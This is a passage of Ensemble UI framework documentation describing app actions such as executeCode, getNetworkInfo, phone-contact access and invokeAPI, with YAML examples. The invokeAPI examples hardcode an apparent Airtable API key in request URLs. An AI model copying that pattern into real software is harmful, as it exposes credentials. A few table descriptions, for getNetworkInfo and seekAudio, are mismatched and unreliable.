[closeAllDialogs](close-all-dialogs.md) | closeAllDialogs action dismisses or closes all open modal dialogs within the app, ensuring a clutter-free interface. | +| [showToast](show-toast.md) | showToast action displays a temporary notification or message on the app interface, providing concise and contextual updates to users. | +| [uploadFiles](upload-files.md) | uploadFiles action allows users to select and upload files from their device to the app, facilitating data transfer and sharing. | + +### Device capabilities + +| Property | Description | +| :---------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| [openCamera](open-camera.md) | openCamera action allows users to access their device's camera within the app for capturing images and videos. | +| [getLocation](get-location.md) | getLocation action retrieves the device's current location, enabling location-based functionalities within the app. | +| [requestNotificationAccess](request-notification-access.md) | requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device. | +| [showNotification](show-notification.md) | showNotification action displays local notifications within the app, notifying users of important events or information. | +| [notification](notification.md) | notification action manages and handles notifications within the app, enabling effective communication with users and delivering timely updates and alerts. | +| [pickFiles](pick-files.md) | pickFiles action enables users to select files from their device for further processing or usage within the app. | +| [uploadFiles](upload-files.md) | uploadFiles action allows users to select and upload files from their device to the app, facilitating data transfer and sharing. | +| [getNetworkInfo](get-network-info.md) | enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location | +| [saveFile](save-file.md) | The saveFile action saves media files (e.g., images) to the default media storage and documents to the default documents directory on Android and IOS. On the web, it downloads the file to the browser's default download folder. | + +### Secure Storage + +| Property | Description | +| :-------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| [setSecureStorage](set-secure-storage.md) | setSecureStorage action securely stores sensitive information in an encrypted format on the device, ensuring that sensitive data remains protected. | +| [getSecureStorage](get-secure-storage.md) | getSecureStorage action retrieves previously stored encrypted data from the device's secure storage, decrypting it for use within your application. | +| [clearSecureStorage](clear-secure-storage.md) | clearSecureStorage action removes previously stored encrypted data from the device's secure storage, allowing you to clean up sensitive information. | +| [saveKeychain](save-keychain.md) | saveKeychain action stores sensitive information in the device's secure keychain (iOS) and keyStore (Android). | +| [readKeychain](read-keychain.md) | readKeychain action retrieves previously stored data from the device's secure keychain (iOS) and keyStore (Android). | +| [clearKeychain](clear-keychain.md) | clearKeychain action removes previously stored data from the device's secure keychain (iOS) and keyStore (Android). | + +### Other interactions + +| Property | Description | +| :-------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------- | +| [executeCode](execute-code.md) | executeCode action executes custom code logic within the app, enabling dynamic functionality and personalized interactions. | +| [openUrl](open-url.md) | openUrl action opens external URLs or web links within the app, facilitating seamless integration with external content. | +| [startTimer](start-timer.md) | startTimer action initiates a timer within the app, facilitating time-sensitive processes and triggering events after a specified duration. | +| [openUrl](open-url.md) | openUrl action allows users to open external URLs or web links within the app, enhancing content integration. | +| [stopTimer](stop-timer.md) | stopTimer action halts or pauses a running timer within the app, providing control over time-sensitive processes. | +| [copyToClipboard](copy-to-clipboard.md) | copyToClipboard action copies text or content to the device's clipboard, facilitating easy sharing and transfer of information within the app. | + +### 3-rd party services + +| Property | Description | +| :---------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------- | +| [connectWallet](connect-wallet.md) | connectWallet action establishes a connection between the app and the user's digital wallet, enabling blockchain-based interactions and transactions. | +| [openPlaidLink](open-plaid-link.md) | Open the Plaid Link Service so user can link their financial accounts to your service. | + +### Audio Player + +| Property | Description | +| :----------------------------- | :------------------------------------------------------------------------------- | +| [playAudio](play-audio.md) | The playAudio action allows users to play a given audio file from a URL or asset | +| [pauseAudio](pause-audio.md) | The pauseAudio action allows users to pause an already-playing audio file | +| [resumeAudio](resume-audio.md) | The resumeAudio action allows users to resume a previously paused audio | +| [stopAudio](stop-audio.md) | The stopAudio action allows users to stop a already playing audio file | +| [seekAudio](seek-audio.md) | The seekAudio action allows users to pause a already-playing audio file | + +--- + +# dispatchEvent action +Custom widgets in Ensemble, just like widgets in any UI framework, can dispatch events + +`dispatchEvent` action is used in custom widgets to let the caller of the widget know when something interesting has happened. + +For example +- a calendar widget may dispatch an event named 'onDataRangeSelected' to notify the caller that the user selected a range of dates. +- in this example, we have a custom widget named `DispatchEventSample` that is a simple Form widget with two fields and a Submit button. When you tap the Submit button, `DispatchEventSample` dispatches an event namd `onFormSubmit`. A Text widget below the form just prints out the data received in the event + +## Example: +`DispatchEventSample` is Custom Widget that dispatches `onFormSubmit` event +```yaml + Widget: + inputs: + - nameLabel + - emailLabel + - submitBtnLabel + events: + onFormSubmit: + data: + name: + email: + body: + Form: + onSubmit: + dispatchEvent: + onFormSubmit: + data: + name: ${name.value} + email: ${email.value} + children: + - Text: + text: Sample Form that dispatches onFormSubmit whenever the Submit button is pressed + - TextInput: + label: ${nameLabel} + required: true + id: name + validateOnUserInteraction: true + - TextInput: + label: ${emailLabel} + id: email + required: true + inputType: email + validateOnUserInteraction: true + - Button: + label: ${submitBtnLabel} + submitForm: true +``` +The screen that uses the widget `listens` to the `onFormSubmit` event and simply prints out the data +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: 'Action: dispatchEvent' + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Markdown: + text: | + Custom widgets in Ensemble, just like widgets in any UI framework, can dispatch events + + `dispatchEvent` action is used in custom widgets to let the caller of the widget know when something interesting has happened. + + For example + - a calendar widget may dispatch an event named 'onDataRangeSelected' to notify the caller that the user selected a range of dates. + - in this example, we have a custom widget named `DispatchEventSample` that is a simple Form widget with two fields and a Submit button. When you tap the Submit button, `DispatchEventSample` dispatches an event namd `onFormSubmit`. A Text widget below the form just prints out the data received in the event + - Divider: + + - DispatchEventSample: + inputs: + nameLabel: Full Name + emailLabel: Email Address + submitBtnLabel: Submit + events: + onFormSubmit: + executeCode: + body: |- + eventData.text = 'Received Data from onFormSubmit: '+event.data.name + ' ' + event.data.email + - Divider: + + - Text: + id: eventData +``` +See Kitchen Sink for the detailed example[(here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/RajOE62KtSkOHYHJQVJF) + +--- + +# executeActionGroup +Executing a group of Actions, either in parallel (default) or sequentially with each waiting for the other to complete before executing. + +## Usage +- The most common use case for this is calling APIs in parallel using the `invokeAPI` action. Since APIs are asynchronous, multiple APIs will be triggered one after the other in parallel. The parallism is governed by the underlying operating system. +- Use `executeInOrder: true` when certain actions depend on the previous action to complete before executing. An example is closing the current dialog before opening up the new one. Dialog lifecycles are asynchronous, so calling close followed immediately by open will not work as expected. Using `executeInOrder: true` will ensure that the close action completes before the open action is executed. + +## Caveats +- Note that while `executeCode` action can execute asynchronous code, it will not wait and will immediately return. This means that even if it is used inside `executeActionGroup` with `executeInOrder: true`, the next action will be executed immediately after the `executeCode` action is called. + +| Property | Type | Description | +|:---------------|:---------|:-------------------------------------------------------------------------------------| +| executeInOrder | boolean | If true, the actions will be executed in order, one after the other. (default false) | +| actions | Action[] | The list of Actions to be executed | + + +See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/VJQun4rJ91mATTBopsNy#) + +## Example +```yaml + - Button: + label: Round + onTap: + executeActionGroup: + actions: + - invokeAPI: + name: callDelayedAPI + inputs: + num: 1 + - showToast: + message: second action - 2 + options: + duration: 4 + - executeCode: + body: |- + console.log('executed code - 2'); + - invokeAPI: + name: callDelayedAPI + inputs: + num: 3 + onResponse: |- + console.log('inline onResponse - 3'); + - invokeAPI: + name: callDelayedAPI + inputs: + num: 4 + - showToast: + message: number 5 + options: + duration: 3 + - executeCode: + body: |- + console.log('executed code - 5'); +``` + +--- + +# executeCode + +Utilize the `executeCode` action to compose custom JavaScript code within the context of this application. When the execution of the code concludes, you can incorporate a follow-up action by leveraging the `onComplete` property. + +Keep in mind that you need to use **//@code** so Ensemble knows to treat the lines that follow as JavaScript. + +```yaml +View: + Column: + children: + - Button: + label: Execute Code + onTap: + executeCode: + body: | + //@code + codeExecuted.text = 'Code block under body is executed'; + onComplete: | + //@code + onCompleteCodeExecuted.text = 'Code block under onComplete is executed'; + + - Text: + id: codeExecuted + + - Text: + id: onCompleteCodeExecuted +``` + +For examples of the `executeCode` action, see the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6f88beb2-efe0-4278-82f3-134d110a8551) app. + +## Properties for executeCode + +| Property | Type | Description | +| :------- | :--- | :---------- | +| body | String | Block of code writen in JavaScript. This block executes when the executeCode action is called. | +| onComplete | String | Block of code writen in JavaScript. This block executes after thh executeCode action is called, and the body code block is executed. | + +--- + +# executeConditionalAction +`executeConditionalAction` is an Action and can be used like any other action. that allows actions to be executed based on if/elseif/else conditions + +- `if` condition is required and should be the first condition +- `elseif` is optional and there can be any number of elseif conditions +- `else` is optional and there can only be one else condition + +See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HoLgqsVN4zS20TxTHe4M#) + +## Example +```yaml + - Button: + label: Tap to compare the price with 10 + onTap: + executeConditionalAction: + conditions: + - if: ${parseInt(price.value) < 10} + action: + showToast: + message: Price is less than $10 + options: + duration: 5 + - elseif: "${parseInt(price.value) > 10}" + action: + showToast: + message: Price is greater than $10 + options: + duration: 5 + - else: + action: + showToast: + message: Price is $10 + options: + duration: 5 +``` + +--- + +# getLocation + +getLocation action enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location + +### Module (ensemble_location) +Enable Location service in Ensemble code + +By default, Ensemble does not include the location module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_location/location_manager.dart'; +``` + +* Search for this line and uncomment it: +``` + // GetIt.I.registerSingleton(LocationManagerImpl()); +``` + +* Search for this line and set it to true +``` + static const useLocation = false; +``` + +--- + +### Properties + +| Property | Type | Description | +| :----------------- | :----- | :---------------------------------------------------------------------------------------------------- | +| options | object | [see properties](#propertiesoptions) | +| onLocationReceived | action | Callback Action once we get the device location | +| onError | action | Callback Action if we are unable to get the device location. Reason is available under 'reason' field | + +#### properties.options + +| Property | Type | Description | +| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| recurring | boolean | Whether to continuously get the device location on this screen. Note that a screen can only have one recurring location listener. Adding multiple recurring location listeners will cancel the previous one. | +| recurringDistanceFilter | integer | If recurring, the minimum distance (in meters) the device has moved before new location is returned. (default: 1000 meters, minimum: 50 meters) | + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: "Action: getLocation" + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Get location via Action + styles: + font: subtitle + - Markdown: + text: Use `getLocation` Action to get the location, with the option to continuously get location change updates. + - Button: + label: Listen for location changes + onTap: + getLocation: + options: + recurring: true # while on this page, location changes will continue to execute onLocationReceived + recurringDistanceFilter: 50 # only dispatch if the new location is more than 50 meters away from the previous location + onLocationReceived: |- + //@code + status.text = 'Lat: ' + latitude + ', Lng: ' + longitude; + onError: |- + //@code + status.text = reason; + - Text: + id: status +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/uH9b2ZnmSS3HT7BsECu4?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# getNetworkInfo + +**Works on native iOS and Android apps only. In the browser, `onError` (if specified) will be called with error `Network info is not supported on the web`.** + +Action to retrieve the following network information - + +- wifiName +- wifiBSSID +- wifiIPv4 +- wifiIPv6 +- wifiGatewayIP +- wifiBroadcast +- wifiSubmask + +If successful, the network information will be available as event.data.networkInfo object with the property names as shows above, for example event.data.networkInfo.wifiName. + +In case of error, the error message will be available as event.error. + +For all other cases, check the `event.data.status` property for details + +## Properties for getNetworkInfo + +| Property | Type | Description | +| :------- | :--- | :---------- | +| onSuccess | action | (Required) call an Action when the network info has been retrieved successfully. Network info will be available under event.data.networkInfo object with properties wifiName, wifiBSSID, wifiIPv4, wifiIPv6, wifiGatewayIP, wifiBroadcast, wifiSubmask | +| onError | action | (Optional) call an Action when unable to retrieve networkInfo. This could be because the location or wifiinfo is not enabled in the app or the module has not been included. Error is available as `event.error` property | +| onDenied | action | (Optional) call an Action when the user has denied access to the location. Location access is required to get the wifi data. The status could either be `denied` or `deniedForever`. `deniedForver` means that the user has denied the location access and has selected the option to never ask again. | +| onLocationDisabled | action | (Optional) call an Action when the location is disabled. This could be because the location is disabled in the device settings. | + +## How to enable the `getNetworkInfo` action for your app + +**When using the build system in the [Ensemble Studio](https://studio.ensembleui.com) the following configurations are automatically added for you and your app is automatically built and made available on the appstore and google play for you to then test or submit for approval.** + +1. First enable the `ensemble_network_info` module as follows - +- open starter/pubspec.yaml and search for `Uncomment to enable NetworkInfo` and uncomment the `ensemble_network_info` module reference - +```yaml + ensemble_network_info: + git: + url: https://github.com/EnsembleUI/ensemble.git + ref: main + path: modules/ensemble_network_info +``` +Run `pub get` to get the latest + +- open `starter/lib/generated/ensemble_modules.dart` and ... +. uncomment import 'package:ensemble_network_info/network_info.dart'; +. set `useNetworkInfo = true;` +. uncomment `GetIt.I.registerSingleton(NetworkInfoImpl());` + +2. Configure permissions for iOS and/or Android as follows + +### Browser +Note that `getNetworkInfo` action is available only on iOS and Android. On the web, `onError` (if specified) will be called with error `Network info is not supported on the web`. + +### iOS +**Location** +Location and `Precise Location` is required to get the `wifiName` and `wifiBSSID`. Other properties can be retrieved without location permission. When location is not enabled. `wifiName` and `wifiBSSID` will return null. + +Open the `starter/ios/Runner` directory. There you will find the following two files that we need to modify - `info.plist` and `Runner.entitlements` + +`info.plist`: add the following. + +Add either `NSLocationWhenInUseUsageDescription` or `NSLocationAlwaysUsageDescription` depending on what your apps needs. +Make sure to adjust the message to meet your requirements. `PreciseLocation` is a must to get the wifiName and wifiBSSID. + +```xml + NSLocationWhenInUseUsageDescription + We need your location to provide better services. + NSLocationAlwaysUsageDescription + We need your location to provide continuous tracking even when the app is in the background. + NSLocationUsageDescription + using location + NSLocationTemporaryUsageDescriptionDictionary + + PreciseLocation + We need your precise location to provide location-based services and ensure accurate tracking. + +``` + +`Runner.entitlements`: add the following + +```xml + com.apple.security.personal-information.location + + com.apple.developer.networking.wifi-info + +``` +You can do the above changes by using the XCode graphical interface as well. Make sure to do a clean build after making the above changes. + +### Android +Android just needs the `Fine Location` permission as follows. + +Under `starter/android/app/src/main` + +`AndroidManifest.xml` + +```xml + +``` + +## Example + +```yaml +View: + styles: + useSafeArea: true + scrollableView: true + + # Optional - set the header for the screen + header: + titleText: Home + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + id: wifiName + label: wifiName + - TextInput: + id: wifiBSSID + label: wifiBSSID + - TextInput: + id: wifiIPv4 + label: wifiIPv4 + - TextInput: + id: wifiIPv6 + label: wifiIPv6 + - TextInput: + id: wifiGatewayIP + label: wifiGatewayIP + - TextInput: + id: wifiBroadcast + label: wifiBroadcast + - TextInput: + id: wifiSubmask + label: wifiSubmask + - TextInput: + id: status + label: status + multiline: true + maxLines: 10 + minLines: 4 + - Button: + label: get wifi info + onTap: + getNetworkInfo: + onSuccess: + executeCode: + body: | + status.value = event.data.status; + wifiName.value = event.data.networkInfo.wifiName; + wifiBSSID.value = event.data.networkInfo.wifiBSSID; + wifiIPv4.value = event.data.networkInfo.wifiIPv4; + wifiIPv6.value = event.data.networkInfo.wifiIPv6; + wifiGatewayIP.value = event.data.networkInfo.wifiGatewayIP; + wifiBroadcast.value = event.data.networkInfo.wifiBroadcast; + wifiSubmask.value = event.data.networkInfo.wifiSubmask; + onError: + executeCode: + body: | + status.value = event.error; +``` + +--- + +# getPhoneContacts + +The `PhoneContacts` view is designed to retrieve and display phone contacts from Android and iOS physical devices or simulators. It includes a warning note, a button to fetch contacts, and a list view to display individual contact details. + +```yaml +- Button: + label: Get Phone Contacts + onTap: + getPhoneContacts: + id: phoneContactId + onSuccess: | + // ***code + console.log("Phone Number Fetched Successfully"); + ensemble.storage.set('contacts', event.data['contacts']); + + onError: | + // ***code + console.log("Something went wrong!"); +``` +The `onSuccess` and `onError` callbacks for the "Get Phone Contacts" button. In the success callback (onSuccess), the retrieved contacts are logged to the console and stored in the `ensemble.storage.contacts`. In the error callback (onError), a message is logged indicating an issue. + +```yaml +- ListView: + id: listView + styles: + expanded: true + item-template: + data: ${ensemble.storage.contacts} + name: contact + template: + UserContact: + inputs: + contact: ${contact} +``` +The `ListView` component displaying a list of contacts (ensemble.storage.contacts). It uses the `UserContact` custom widget template for each item in the list. + +--- + +# getPhoneContactPhoto + +```yaml +UserContact: + inputs: + - contact + styles: { gap: 10 } + onLoad: + getPhoneContactPhoto: + id: contactPhotoId + contactId: ${contact.id} + + # Using JS Code + + # //@code + # ensemble.getPhoneContactPhoto({ + # id: "contactPhotoId", + # contactId: contact.id + # }); + + body: + Column: + styles: { gap: 2 } + children: + - Row: + children: + - Image: + source: ${contactPhotoId.image} + width: 100 + height: 100 + fallback: ImageFallbackWidget + - Column: + styles: { gap: 2, margin: 10 } + children: + - Text: + textStyle: { fontWeight: bold, fontSize: 18 } + text: "${contact.displayName}" + - Text: + textStyle: { fontWeight: bold, fontSize: 18 } + text: "${getPhoneNumber(contact.phones)}" + - Shape: + styles: + height: 10 + - Divider: +``` +The `UserContact` component representing the structure for displaying an individual contact. It includes an `Image` and two `Text` components for displaying the contact's display image, name and phone number. The `getPhoneContactPhoto` action is used to get the contact photo with the contactId. + +```yaml +Global: | + //@code + + if (ensemble.storage.contacts == null) { + ensemble.storage.contacts = []; + } + + function getPhoneNumber(phones) { + if (phones.length > 0) { + return phones[0].number; + } else { + return ""; + } + } +``` +The global code block initializes `ensemble.storage.contacts` as an empty array if it's null. It also includes the `getPhoneNumber` function, which extracts the primary phone number from an array of phone numbers. + +--- + +# invokeAPI + +To check out examples of the invokeAPI action, go to the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e546b0d8-3220-4217-bd5c-181118154073). + +## API response object +Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | +| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | +| headers | array | Key value pairs of http response headers | +| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | +| type | String | By default the invokeAPI action is used to call http(s) APIs whether REST o GraphQL APIs. However, Ensemble has a deep integration with firestore. if the type is specificed as `firestore`, this action will invoke firestore APIs. For details and examples, see [Firestore Operations](pages/firebase/firestore-operations.mdx) | + +## API/invokeAPI properties +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | +| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | + +## Content Types + +The API supports different content types for request bodies: + +1. **JSON (Default)** + - If no Content-Type is specified, the body is sent as JSON + - Content-Type: application/json + - By default, the Flutter framework sends the content-type header as `application/json; charset=utf-8` for json content. The presence of `charset=utf-8` while perfectly fine can cause issues for some servers. In order to make sure `charset=utf-8` is not appended to the header, set the `content-type` header as a header in your API. `Content-Type: application/json` + +Example with JSON data: + +```yaml +API: + loginUser: + uri: https://api.example.com/login + method: POST + headers: + #application/json is the default content-type. You can optionally specify the Content-Type header to make sure framework sends the header as `Content-Type: application/json`. When not specified, header will be sent as `Content-Type: application/json; charset=utf-8` + Content-Type: application/json + body: ${json} +``` + +3. **URL Encoded Form Data** + - Set Content-Type: application/x-www-form-urlencoded + - Body will be automatically encoded in URL-encoded format + +Example with URL-encoded form data: + +```yaml +API: + loginUser: + uri: https://api.example.com/login + method: POST + headers: + Content-Type: application/x-www-form-urlencoded + body: + username: ${username} + password: ${password} +``` + +**invokeAPI** is used for calling an API. You can call an API on events such as a button tap or on screen load. First, you have to declare an API: + +```yaml +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +``` + +### Usage examples of InvokeAPI + +Now to call the API on screen load, use the `onLoad` property of the view, there are two ways to call invokeAPI as well + +##### 1. Using ensemble invokeAPI action. + +````yaml +View: + onLoad: + invokeAPI: + name: getPeople + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Text: + text: ${getPeople.body.results.length} records were retrieved from API + - Markdown: + text: | + Here's the API response body: + ``` + ${getPeople.body} + ``` + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +```` + +##### 2. Using JavaScript code block to execute invokeAPI action. + + + +````yaml +View: + onLoad: | + //@code + ensemble.invokeAPI("getPeople"); + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Text: + text: ${getPeople.body.results.length} records were retrieved from API + - Markdown: + text: | + Here's the API response body: + ``` + ${getPeople.body} + ``` + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +```` + + + +- **Its similar to previous only that we are now using Javascript code block**. + +To call an API on button tap, inside the body add a Button with `onTap` property: + + + +```yaml +View: + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: getPeople + - Column: + item-template: + data: ${getPeople.body.results} + name: item + template: + Text: + text: ${item.name.first} + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +``` + + + +## POST calls with input parameters + +You can also create a POST request and pass parameters to the API like this + + + +```yaml +View: + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDo + inputs: + name: "some value" + onResponse: | + //@code + var id = response.body.records[0].id; + postStatus.text = 'Record created: ' + id; + - Text: + id: postStatus + +API: + createToDo: + inputs: + - name + uri: "https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb" + method: "POST" + body: + records: + - fields: + desc: "${name}" +``` + + + +## Handing errors + +To handle Errors, you can use the `onError` property: + + + +```yaml + - Text: + text: Handle error + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDoError + onResponse: | + //@code + apiStatus.text = 'Call was successful'; + //you have the response object available here so you access its properties. See top of the page for response object + console.log(response.body);//this will print out the full body of the response object. See above for all the properties of a response object + onError: | + //@code + apiStatus.text = 'API returned an error'; + //you have the response object available here so you access its properties. See top of the page for response object + console.log(response.statusCode);//this will print out the http status code of the response object. See above for all the properties of a response object + - Text: + id: apiStatus + +API: + createToDoError: + inputs: + - name + uri: 'https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb' + method: 'POST' + body: + records: "this is not what the API expects" +``` + + + +## Use in code + +You can also call an API in code block. + + + +```yaml + - Button: + label: Call API + onTap: + executeCode: + body: | + //@code + + // no inputs + ensemble.invokeAPI("getNewYorkTime"); + - Text: + visible: ${getNewYorkTime.body != null} + text: Current time in NYC is ${getNewYorkTime.body.datetime} + +API: + getNewYorkTime: + uri: https://worldtimeapi.org/api/timezone/America/New_York + method: GET +``` + + + +## Properties for invokeAPI + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response | +| onError | Action | The action to handle errors | + +Details about API [here](#interact-with-apis) + +--- + +# invokeHaptic + +invokeHaptic action allows users to play haptics on the device allowing better UX. It supports 5 haptics namely heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate. They are listed in decreasing order of intensity +and vibrate does a short vibrate pulse. It also supports playing haptic by JavaScript code and also has additional parameters like onTapHaptic or onChangeHaptic added to multiple widgets where haptic would be required. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| type | enum | The type of haptic to perform. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| onComplete| action | Execute another Action post executing the haptic | + +**Example** + + + +```yaml +View: + header: + title: Haptic + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Using Action + onTap: + invokeHaptic: + type: lightImpact + onComplete: | + //@code + console.log("Haptic completed") + - Button: + label: Using JavaScript + onTap: | + //@code + invokeHaptic({type: lightImpact}) + - Button: + label: Using methods + onTapHaptic: lightImpact + onTap: | + //@code + console.log("Button Press") +``` + +--- + +# logEvent + +logEvent action allows you to track analytics events and user interactions using Firebase Analytics, MoEngage, or Adobe Analytics. + +## Properties +| Property | Type | Description | Default | +|:---------|:-----|:------------|:--------| +| provider | String | Analytics provider ("firebase", "moengage", "adobe") | "firebase" | +| operation | String | Operation to perform (see provider-specific operations) | "logEvent" | +| name | String | Name of the event to track (required for Firebase and MoEngage trackEvent) | - | +| parameters | Object | Additional parameters for events | {} | +| value | Any | Value for MoEngage operations (location, user attributes etc) | - | +| attributeKey | String | Key for MoEngage custom attributes | - | +| logLevel | enum | Log level ("info", "debug", "fatal") | "info" | +| onSuccess | Action | Action to execute on success | - | +| onError | Action | Action to execute on error | - | +| userId | String | User ID for Firebase setUserId operation | - | + +## Firebase Provider + +Firebase provider enables basic analytics event tracking and user identification. + +### Operations + +#### logEvent (Default) +Logs an analytics event to Firebase. Requires name and optional parameters. + +```yaml +Button: + label: Track Purchase + onTap: + logEvent: + name: purchase_complete + parameters: + amount: 99.99 + currency: USD +``` + +#### setUserId +Sets the user identifier for Firebase Analytics. + +```yaml +logEvent: + provider: firebase + operation: setUserId + userId: "user123" +``` + +## MoEngage Provider +MoEngage provider enables comprehensive user engagement features including event tracking, user attributes, and in-app messaging. + +### MoEngage User Profile Operations +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| setUniqueId | Sets a unique identifier for a user. This should be a unique and consistent identifier for the user across sessions. | value (String) | +| setUserName | Tracks full name as a user attribute. | value (String) | +| setFirstName | Tracks first name portion as a separate user attribute. | value (String) | +| setLastName | Tracks last name portion as a separate user attribute. | value (String) | +| setEmail | Tracks user's email ID as attribute for communication and identification. | value (String) | +| setPhoneNumber | Tracks user's phone number as attribute for communication. | value (String) | +| setBirthDate | Sets user's birth date. Must be in ISO format: yyyy-MM-dd'T'HH:mm:ss.fff'Z' | value (ISO date string) | +| setGender | Sets user's gender for demographic data. | value (enum: male/female) | +| setAlias | Updates user's unique ID that was previously set via setUniqueId. Use this to migrate IDs. | value (String) | +| setLocation | Sets user's geographic location for location-based targeting. | value (Object: {latitude: number, longitude: number}) | +| setAppStatus | Indicates whether this is a fresh install or app update. | value (enum: install/update) | + +### MoEngage Custom Attributes +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| custom | Sets a custom user attribute. Supports primitive types (String, Number, Boolean), arrays of primitives, and valid JSON objects/arrays. Cannot be empty. | attributeKey (String), value (Any supported type) | +| timestamp | Sets a date/time attribute in ISO format. | attributeKey (String), value (ISO date string) | +| locationAttribute | Sets a location-based attribute for geo-targeting. | attributeKey (String), value ({latitude: number, longitude: number}) | + +### MoEngage Event & Campaign Operations +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| trackEvent | Tracks an analytics event with optional properties. Properties support same types as custom attributes. | name (String), parameters (Object, optional) | +| showInApp | Shows an in-app message if one is available. | None | +| showNudge | Shows a non-intrusive nudge notification. If position not specified, uses default position. | value (enum: top, bottom, bottomLeft, bottomRight, any) | +| setContext | Sets the current context for in-app message targeting. Contexts determine when messages can be shown. | value (String[]) | +| resetContext | Removes all previously set contexts for in-app targeting. | None | + +### MoEngage Push Notification Operations +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| registerForPush | Registers for push notifications (iOS only). | None | +| registerForProvisionalPush | Registers for provisional push notifications (iOS only). | None | +| passFCMToken | Passes Firebase Cloud Messaging token to SDK (Android only). | value (String - FCM token) | +| passPushKitToken | Passes PushKit token to SDK (Android only). | value (String - PushKit token) | +| passFCMPushPayload | Passes FCM push notification payload to SDK (Android only). | value (Object - FCM payload) | +| requestPushPermission | Requests push notification permission (Android 13+). | None | +| updatePermissionCount | Updates count of permission requests made. | value (Number) | +| pushPermissionResponse | Notifies SDK about push permission response. | value (Boolean) | + +### MoEngage SDK Configuration Operations +| Operation | Description | Required Properties | +|:----------|:------------|:-------------------| +| enableSdk | Enables all SDK features. By default enabled. | None | +| disableSdk | Disables all SDK features. | None | +| enableDataTracking | Enables analytics tracking. By default enabled. | None | +| disableDataTracking | Disables all analytics tracking. No events/attributes will be tracked. | None | +| enableDeviceIdTracking | Enables device ID tracking (Android only). By default enabled. | None | +| disableDeviceIdTracking | Disables device ID tracking (Android only). | None | +| enableAndroidIdTracking | Enables Android ID tracking. By default disabled. | None | +| disableAndroidIdTracking | Disables Android ID tracking. | None | +| enableAdIdTracking | Enables advertising ID tracking. By default 